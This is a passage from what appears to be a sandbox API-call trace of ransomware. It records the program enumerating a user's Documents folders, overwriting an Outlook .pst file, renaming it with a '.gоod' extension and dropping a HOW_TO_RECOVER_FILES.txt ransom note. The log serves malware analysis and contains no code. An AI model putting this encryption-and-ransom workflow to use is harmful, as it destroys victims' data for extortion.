ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.448] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 1 [0250.448] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0250.448] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0250.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0250.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0250.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0250.448] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x27 [0250.448] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0250.448] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.449] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 1 [0250.449] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 0 [0250.449] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0250.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0250.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0250.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", lpFilePart=0x0) returned 0x38 [0250.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0250.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), fInfoLevelId=0x0, lpFileInformation=0x38a15f8 | out: lpFileInformation=0x38a15f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400)) returned 1 [0250.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0250.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", lpFilePart=0x0) returned 0x38 [0250.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0250.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0250.450] GetFileType (hFile=0x82c) returned 0x1 [0250.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0250.450] GetFileType (hFile=0x82c) returned 0x1 [0250.450] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0250.450] ReadFile (in: hFile=0x82c, lpBuffer=0x38a19f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x38a19f0*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0250.451] CloseHandle (hObject=0x82c) returned 1 [0250.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", lpFilePart=0x0) returned 0x38 [0250.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0250.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0250.451] GetFileType (hFile=0x82c) returned 0x1 [0250.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0250.451] GetFileType (hFile=0x82c) returned 0x1 [0250.452] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x42400 [0250.452] WriteFile (in: hFile=0x82c, lpBuffer=0x38a76d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x38a76d8*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0250.453] CloseHandle (hObject=0x82c) returned 1 [0250.454] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", lpFilePart=0x0) returned 0x38 [0250.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0250.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0250.454] GetFileType (hFile=0x82c) returned 0x1 [0250.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0250.454] GetFileType (hFile=0x82c) returned 0x1 [0250.454] ReadFile (in: hFile=0x82c, lpBuffer=0x38a9988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x38a9988*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0251.181] CloseHandle (hObject=0x82c) returned 1 [0251.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", lpFilePart=0x0) returned 0x38 [0251.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0251.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0251.181] GetFileType (hFile=0x82c) returned 0x1 [0251.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0251.181] GetFileType (hFile=0x82c) returned 0x1 [0251.181] WriteFile (in: hFile=0x82c, lpBuffer=0x38180c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x38180c8*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0251.182] CloseHandle (hObject=0x82c) returned 1 [0251.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", lpFilePart=0x0) returned 0x38 [0251.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.gоod", lpFilePart=0x0) returned 0x3d [0251.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0251.182] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x91eeae5a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x42410)) returned 1 [0251.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0251.182] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.gоod")) returned 1 [0251.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20ced6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0251.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedbd0) returned 1 [0251.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0251.184] GetFileType (hFile=0x82c) returned 0x1 [0251.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb40) returned 1 [0251.184] GetFileType (hFile=0x82c) returned 0x1 [0251.184] WriteFile (in: hFile=0x82c, lpBuffer=0x3a44ca0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cedc98, lpOverlapped=0x0 | out: lpBuffer=0x3a44ca0*, lpNumberOfBytesWritten=0x20cedc98*=0x5d0, lpOverlapped=0x0) returned 1 [0251.185] CloseHandle (hObject=0x82c) returned 1 [0251.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0251.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo", lpFilePart=0x0) returned 0x21 [0251.185] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x491030f0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xf06563d0, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0xf06563d0, ftLastWriteTime.dwHighDateTime=0x1d4d137, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0251.185] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x491030f0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xf06563d0, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0xf06563d0, ftLastWriteTime.dwHighDateTime=0x1d4d137, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.185] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d4ec20, ftCreationTime.dwHighDateTime=0x1d4ce53, ftLastAccessTime.dwLowDateTime=0xc39a8890, ftLastAccessTime.dwHighDateTime=0x1d4cf8d, ftLastWriteTime.dwLowDateTime=0xc39a8890, ftLastWriteTime.dwHighDateTime=0x1d4cf8d, nFileSizeHigh=0x0, nFileSizeLow=0xf84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="4SCwke7.csv", cAlternateFileName="")) returned 1 [0251.186] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d0f2030, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xd378a900, ftLastAccessTime.dwHighDateTime=0x1d4cbe0, ftLastWriteTime.dwLowDateTime=0xd378a900, ftLastWriteTime.dwHighDateTime=0x1d4cbe0, nFileSizeHigh=0x0, nFileSizeLow=0x561e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ejkDiCDfEbjN.csv", cAlternateFileName="EJKDIC~1.CSV")) returned 1 [0251.186] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eb7190, ftCreationTime.dwHighDateTime=0x1d4ccbe, ftLastAccessTime.dwLowDateTime=0x16f2de30, ftLastAccessTime.dwHighDateTime=0x1d4ca65, ftLastWriteTime.dwLowDateTime=0x16f2de30, ftLastWriteTime.dwHighDateTime=0x1d4ca65, nFileSizeHigh=0x0, nFileSizeLow=0xe714, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ku9lVku.odt", cAlternateFileName="")) returned 1 [0251.186] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a13b9f0, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x377070c0, ftLastAccessTime.dwHighDateTime=0x1d4c941, ftLastWriteTime.dwLowDateTime=0x377070c0, ftLastWriteTime.dwHighDateTime=0x1d4c941, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QCgW-p", cAlternateFileName="")) returned 1 [0251.186] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaea51020, ftCreationTime.dwHighDateTime=0x1d4d1a1, ftLastAccessTime.dwLowDateTime=0xd9ed6760, ftLastAccessTime.dwHighDateTime=0x1d4c845, ftLastWriteTime.dwLowDateTime=0xd9ed6760, ftLastWriteTime.dwHighDateTime=0x1d4c845, nFileSizeHigh=0x0, nFileSizeLow=0x1152f, dwReserved0=0x0, dwReserved1=0x0, cFileName="qZosb8wc.odt", cAlternateFileName="")) returned 1 [0251.186] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd937ab0, ftCreationTime.dwHighDateTime=0x1d4cf1e, ftLastAccessTime.dwLowDateTime=0x9bfdd970, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x9bfdd970, ftLastWriteTime.dwHighDateTime=0x1d4d5a2, nFileSizeHigh=0x0, nFileSizeLow=0x73f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SgKi3mzzvDVjQiPa.xls", cAlternateFileName="SGKI3M~1.XLS")) returned 1 [0251.186] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8927e800, ftCreationTime.dwHighDateTime=0x1d4c6d3, ftLastAccessTime.dwLowDateTime=0xd20588d0, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0xd20588d0, ftLastWriteTime.dwHighDateTime=0x1d4cc13, nFileSizeHigh=0x0, nFileSizeLow=0x3185, dwReserved0=0x0, dwReserved1=0x0, cFileName="Twg1ZBpM822jcyQLq.rtf", cAlternateFileName="TWG1ZB~1.RTF")) returned 1 [0251.186] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dac4880, ftCreationTime.dwHighDateTime=0x1d4d360, ftLastAccessTime.dwLowDateTime=0xf7f830c0, ftLastAccessTime.dwHighDateTime=0x1d4d0db, ftLastWriteTime.dwLowDateTime=0xf7f830c0, ftLastWriteTime.dwHighDateTime=0x1d4d0db, nFileSizeHigh=0x0, nFileSizeLow=0xf2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="vSIZ313sC6NZHr.pdf", cAlternateFileName="VSIZ31~1.PDF")) returned 1 [0251.186] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.187] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0251.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0251.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0251.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0251.187] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo", lpFilePart=0x0) returned 0x21 [0251.187] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x491030f0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xf06563d0, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0xf06563d0, ftLastWriteTime.dwHighDateTime=0x1d4d137, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0251.187] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x491030f0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xf06563d0, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0xf06563d0, ftLastWriteTime.dwHighDateTime=0x1d4d137, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.187] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d4ec20, ftCreationTime.dwHighDateTime=0x1d4ce53, ftLastAccessTime.dwLowDateTime=0xc39a8890, ftLastAccessTime.dwHighDateTime=0x1d4cf8d, ftLastWriteTime.dwLowDateTime=0xc39a8890, ftLastWriteTime.dwHighDateTime=0x1d4cf8d, nFileSizeHigh=0x0, nFileSizeLow=0xf84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="4SCwke7.csv", cAlternateFileName="")) returned 1 [0251.187] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d0f2030, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xd378a900, ftLastAccessTime.dwHighDateTime=0x1d4cbe0, ftLastWriteTime.dwLowDateTime=0xd378a900, ftLastWriteTime.dwHighDateTime=0x1d4cbe0, nFileSizeHigh=0x0, nFileSizeLow=0x561e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ejkDiCDfEbjN.csv", cAlternateFileName="EJKDIC~1.CSV")) returned 1 [0251.187] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eb7190, ftCreationTime.dwHighDateTime=0x1d4ccbe, ftLastAccessTime.dwLowDateTime=0x16f2de30, ftLastAccessTime.dwHighDateTime=0x1d4ca65, ftLastWriteTime.dwLowDateTime=0x16f2de30, ftLastWriteTime.dwHighDateTime=0x1d4ca65, nFileSizeHigh=0x0, nFileSizeLow=0xe714, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ku9lVku.odt", cAlternateFileName="")) returned 1 [0251.188] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a13b9f0, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x377070c0, ftLastAccessTime.dwHighDateTime=0x1d4c941, ftLastWriteTime.dwLowDateTime=0x377070c0, ftLastWriteTime.dwHighDateTime=0x1d4c941, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QCgW-p", cAlternateFileName="")) returned 1 [0251.188] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaea51020, ftCreationTime.dwHighDateTime=0x1d4d1a1, ftLastAccessTime.dwLowDateTime=0xd9ed6760, ftLastAccessTime.dwHighDateTime=0x1d4c845, ftLastWriteTime.dwLowDateTime=0xd9ed6760, ftLastWriteTime.dwHighDateTime=0x1d4c845, nFileSizeHigh=0x0, nFileSizeLow=0x1152f, dwReserved0=0x0, dwReserved1=0x0, cFileName="qZosb8wc.odt", cAlternateFileName="")) returned 1 [0251.188] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd937ab0, ftCreationTime.dwHighDateTime=0x1d4cf1e, ftLastAccessTime.dwLowDateTime=0x9bfdd970, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x9bfdd970, ftLastWriteTime.dwHighDateTime=0x1d4d5a2, nFileSizeHigh=0x0, nFileSizeLow=0x73f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SgKi3mzzvDVjQiPa.xls", cAlternateFileName="SGKI3M~1.XLS")) returned 1 [0251.188] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8927e800, ftCreationTime.dwHighDateTime=0x1d4c6d3, ftLastAccessTime.dwLowDateTime=0xd20588d0, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0xd20588d0, 